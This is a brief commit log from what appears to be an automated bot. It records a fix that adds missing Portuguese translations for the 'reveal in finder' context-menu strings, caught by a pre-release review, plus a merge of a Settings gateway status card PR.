2026-05-03 20:59:32 +00:00
Hermes Bot 675f997b53 fix(i18n): add reveal_in_finder/reveal_failed keys to pt locale (Opus advisor SHOULD-FIX absorbed)
Pre-release Opus advisor caught a gap: PR #1551 v2 added the
reveal_in_finder/reveal_failed keys to en/ja/ru/es/de/zh/zh-Hant/ko but
omitted the pt block. Locale parity tests for ja/ru/es/zh/ko all pass
because they run en_keys - locale_keys parity assertions, but pt and de
have no general parity test — so the pt gap would silently ship with
Portuguese users seeing English fallback for the new context-menu item.

Translations:
  pt: Mostrar no gerenciador de arquivos / Falha ao mostrar:

Trivial 2-LOC absorb. Filing follow-up issue for pt/de cross-locale
parity test mirroring the existing 5.
2026-05-03 19:28:58 +00:00
Hermes Bot e4e53f9ef4 Stage 283: PR #1552 — Gateway status card in Settings (#1457) by @bergeouss 2026-05-03 19:19:02 +00:00